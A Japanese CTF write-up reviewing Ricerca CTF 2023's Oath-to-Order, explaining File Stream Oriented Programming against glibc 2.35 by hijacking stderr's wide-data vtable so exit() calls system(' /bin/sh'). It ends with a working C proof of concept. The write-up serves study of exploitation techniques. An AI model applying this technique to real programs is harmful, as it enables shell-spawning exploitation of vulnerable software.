writeUP ↑↑↑

勉強会やCTFのwriteupをのこす(つもり)

Ricerca CTF 2023 復習writeup - Oath-to-Order 前半(FSOP)

はじめに

今回はRicerca CTFのOath-to-Orderを復習したので記事にしました。最近のpwnの復習は、ソースをちゃんと追うと一日で終わんないんですよね。。。まあGWでもないとやらないのでちょうどよかったかなと。次回賞金でるCTFを見つけたときのためと思って頑張ります笑

ちなみにこの記事はm1z0r3メンバーの後輩君が書いてくれたwriteupをめちゃめちゃ参考にして書いています。ありがとうございます!

zenn.dev

FSOP

この問題は最終的にFSOP(File Streaming Oriented Programming)という手法でシェルをとるので、まずはGlibc 2.35におけるFSOPについて整理します。

他に調べてないので知りませんが、GLibc2.35では_IO_wfile_jumps.__overflowを使ってやるらしいです。

blog.kylebot.net

そこにたどり着く方法はいくつかありそうですが、この問題では最後に(また)exit()をトリガーにシェルを起動するのでその前提で整理していきます。

まず、exit()の処理をGDBで追っていくと、exit => __run_exit_handlers => _IO_cleanup => _IO_flush_all_lockpという順で_IO_flush_all_lockpにたどり着きます。

ここからはソースコードも見ていきましょう。

elixir.bootlin.com

int
_IO_flush_all_lockp (int do_lock)
{
.
.
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
.
.
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)
    result = EOF;
.
.

fpには_IO_list_allから、_IO_2_1_stderr_, _IO_2_1_stdout_, _IO_2_1_stdin_が代入されます。これらはFILE構造体のポインタで定義されていますが、実体はFILE構造体と_IO_jump_tというvtableの構造体を組み合わせた構造体(_IO_FILE_plus)になっています。ちなみにstderrなどのグローバル変数_IO_2_1_stderr_へのポインタになってたりします(ただしFILE *で宣言されている)。この後、この構造体のメンバがたくさん出てくるので、複数タブでFile構造体と_IO_jump_t構造体のメンバを見ながら読むことをお勧めします。

elixir.bootlin.com

struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;
};

そのうえで、ここではFILE構造体のポインタとして使われているので、1つ目のメンバであるfileを操作しています。その後を見ると、if文の条件を満たしたときに_IO_OVERFLOWマクロが呼ばれます。ちなみに条件はこんな感じです。

  • fp->mode <= 0 かつ fp->_IO_write_ptr > fp->_IO_write_base)または(fp->mode > 0かつfp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

攻撃のトリガーとなる_IO_OVERFLOWマクロを追ってみます。

elixir.bootlin.com

#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
# define _IO_JUMPS_FUNC(THIS) \
  (IO_validate_vtable                                                   \
   (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
                + (THIS)->_vtable_offset)))

要するにfp->vtable->__overflow()を呼び出しているって感じですね。GDBで追うと_IO_2_1_stderr_.vtable->__overflowにはデフォルトでは_IO_new_file_overflow()が入っています。ここを_IO_wfile_overflowに書き換えておくことで攻撃につなげられます。_IO_wfile_overflow関数を見てみましょう。

elixir.bootlin.com

wint_t _IO_wfile_overflow (FILE *f, wint_t wch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
    {
      /* Allocate a buffer if needed. */
      if (f->_wide_data->_IO_write_base == 0)
    {
      _IO_wdoallocbuf (f);
.
.

攻撃をトリガーするのは_IO_wdoallocbuf (f)です。ここでの条件は、

  • f->flags & (_IO_NO_WRITES | _IO_CURRENTLY_PUTTING (= 0x808)) == 0)かつ(f->_wide_data->_IO_write_base == 0

です(FLAGの値一覧)。では_IO_wdoallocbuf()を見ていきましょう。

elixir.bootlin.com

void _IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)

トリガーは_IO_WDOALLOCATE (fp)マクロです。ここの条件は、

  • fp->_wide_data->_IO_buf_base == 0)かつ(fp->_flags & _IO_UNBUFFERED(=0x2) == 0

です。_IO_WDOALLOCATE(FP)マクロの処理を追うのは大変ですが一応紹介します(ここからたどれます

#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
  (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
                      + offsetof(TYPE, MEMBER)))
#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)

丁寧に追っていくとfp->_wide_data->_wide_vtable->__doallocate(fp)だとわかります。_wide_datastruct _IO_wide_dataという構造体なので、ここで紹介してきます。

elixir.bootlin.com

上記の__doallocateですが、呼び出し時に一切の書き換え検知機構がないことが今までの流れで分かるかと思います。つまり、攻撃時は偽のvtableを用意し、_IO_2_1_stderr_内の_wide_dataを偽のstruct _IO_wide_data構造体に書き換え、その書き換えた_wide_data->_wide_vtablevtable.__doallocate = systemになっている偽の構造体にすり替えることで、検知されることなくシェル起動に持っていけます。ちなみに引数はfpなので、((FILE *)fp)->flags"/bin/sh"を書き込んでおく必要があります。ただし、このままだと今まで出てきた条件を満たせません。

ここで、いったん _IO_flush_all_lockp()後の条件を確認しましょう。

if (fp->mode <= 0 & fp->_IO_write_ptr > fp->_IO_write_base
    || fp->mode > 0 & fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
  if (fp->flags & 0x80a == 0 & 
    fp->_wide_data->_IO_write_base == 0 & fp->_wide_data->_IO_buf_base == 0)
      fp->_wide_data->_wide_vtable->__doallocate(fp)

fp->flagsは引数も入れないといけないしどうすんだと思っていたんですが、fp->flagsにスペース文字(Asciiで0x20)を2文字分入れた" /bin/sh"を書き込めば条件を解決できます(後輩君のwriteup見てなるほど~となりました)。他の条件はそのまま満たすように値を調整し、実装してみた例がこちらです。

#include <stdio.h>
#include <stdlib.h>
typedef struct {
  FILE file;
  void *vtable;
} _IO_FILE_plus;

typedef struct{
  char other_pointer_padding[8*13];
  void* __doallocate;
} _IO_jump_t;

typedef struct
{
  wchar_t *_IO_read_ptr;        /* Current read pointer */
  wchar_t *_IO_read_end;        /* End of get area. */
  wchar_t *_IO_read_base;       /* Start of putback+get area. */
  wchar_t *_IO_write_base;      /* Start of put area. */
  wchar_t *_IO_write_ptr;       /* Current put pointer. */
  wchar_t *_IO_write_end;       /* End of put area. */
  wchar_t *_IO_buf_base;        /* Start of reserve area. */
  wchar_t *_IO_buf_end;         /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;       /* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;     /* Pointer to first valid character of
                                   backup area */
  wchar_t *_IO_save_end;        /* Pointer to end of non-current get area. */

  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  //struct _IO_codecvt _codecvt;
  char _codecvt[112];           //struct _IO_codecvtの代わり

  wchar_t _shortbuf[1];

  const struct _IO_jump_t *_wide_vtable;
}_IO_wide_data;

int main()
{

  char *binsh = "  /bin/sh";
  _IO_wide_data* fake_wide_data = malloc(sizeof( _IO_wide_data));
  _IO_jump_t* fake_wide_vtable = malloc(sizeof( _IO_jump_t));

  *(long*)(&((_IO_FILE_plus*)stderr)->file._flags) = *(long*)binsh;
  ((_IO_FILE_plus*)stderr)->file._IO_read_ptr = *(long*)(binsh+8); //_flagにコピーでき
なかった残りを隣の領域にコピー
  ((_IO_FILE_plus*)stderr)->file._mode = 1;
  ((_IO_FILE_plus*)stderr)->file._wide_data = fake_wide_data;
  ((_IO_FILE_plus*)stderr)->vtable = (void*)stderr - (void*)0x45e0; //_IO_wfile_jumps>へのオフセット
  fake_wide_data->_IO_write_base = 0;
  fake_wide_data->_IO_write_ptr = 1;
  fake_wide_data->_IO_buf_base = 0;
  fake_wide_data->_wide_vtable = fake_wide_vtable;
  fake_wide_vtable->__doallocate = &system;
  exit(0);
  return 0;
}

このコードを実行すると、exit()実行時にシェルが起動します。この後のOath-to-Orderでは最終的にこの状態を目指して進んでいきます。